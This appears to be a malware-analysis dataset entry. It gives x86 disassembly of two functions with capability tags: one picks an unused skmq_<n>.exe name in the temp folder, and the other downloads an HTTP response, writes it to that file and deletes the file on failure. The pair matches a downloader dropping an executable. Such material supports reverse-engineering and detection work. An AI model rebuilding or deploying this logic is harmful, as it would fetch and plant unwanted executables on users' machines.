Function at 0x402a80
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
sub esp, 0x104
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x10]
push eax
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
mov esi, dword [esp + 0x118]
mov ebx, dword [sym.imp.USER32.dll_wsprintfA]
mov ebp, dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
xor edi, edi
nop
push edi
lea ecx, [esp + 0x14]
push ecx
push str._skmq_d.exe
push esi
call ebx
add esp, 0x10
push esi
inc edi
call ebp
cmp eax, 0xffffffff
jne 0x402ab0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x104
ret

Function at 0x402ae0
Capabilities:
Check http status code
Delete file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x594
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
xor ebx, ebx
push ebx
push ebx
push 2
push ebx
push ebx
push 0xc0000000
push eax
mov byte [esp + 0x2f], bl
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
mov dword [esp + 0x1c], edi
je 0x402c76
lea ecx, [esp + 0x98]
push ecx
call fcn.00402070
add esp, 4
push ebx
push ebx
push ebx
push ebx
lea edx, [esp + 0xa8]
push edx
call dword [0x4070e4]
mov esi, eax
cmp esi, ebx
mov dword [esp + 0x28], esi
je 0x402c67
mov eax, dword [ebp + 8]
push 1
push ebx
push 3
push ebx
push ebx
push 0x50
push eax
push esi
call dword [0x4094f8]
mov edi, eax
cmp edi, ebx
mov dword [esp + 0x18], edi
je 0x402c5c
mov ecx, dword [ebp + 0xc]
push 1
push 0x80000100
push ebx
push ebx
push ebx
push ecx
push 0x406294
push edi
call dword [0x4070e8]
mov esi, eax
cmp esi, ebx
je 0x402c51
push ebx
push ebx
push ebx
push ebx
push esi
call dword [0x4070e0]
test eax, eax
je 0x402c8b
push ebx
lea edx, [esp + 0x28]
push edx
lea eax, [esp + 0x28]
push eax
push 0x20000013
push esi
mov dword [esp + 0x38], 4
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
cmp dword [esp + 0x20], 0xc8
jne 0x402c4a
xor eax, eax
mov byte [esp + 0x1a0], bl
mov ecx, 0xff
lea edi, [esp + 0x1a1]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor edi, edi
jmp 0x402bf0
lea ecx, [esp + 0x14]
push ecx
push 0x400
lea edx, [esp + 0x1a8]
push edx
push esi
mov dword [esp + 0x24], ebx
call dword [0x4094fc]
test eax, eax
je 0x402c46
mov ecx, dword [esp + 0x14]
push ebx
lea eax, [esp + 0x30]
push eax
mov eax, dword [esp + 0x24]
push ecx
lea edx, [esp + 0x1ac]
push edx
push eax
call dword [sym.imp.KERNEL32.DLL_WriteFile]
test eax, eax
je 0x402c46
mov eax, dword [esp + 0x14]
add edi, eax
cmp eax, ebx
jne 0x402bf0
cmp edi, ebx
je 0x402c46
mov byte [esp + 0x13], 1
mov edi, dword [esp + 0x18]
push esi
call dword [0x407cf0]
push edi
call dword [0x407cf0]
mov esi, dword [esp + 0x28]
push esi
call dword [0x407cf0]
mov edi, dword [esp + 0x1c]
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov al, byte [esp + 0x13]
cmp al, bl
jne 0x402c84
mov edx, dword [ebp + 0x10]
push edx
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
mov al, byte [esp + 0x13]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
lea ecx, [esp + 0x34]
push 0x405e60
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
jmp 0x402c4a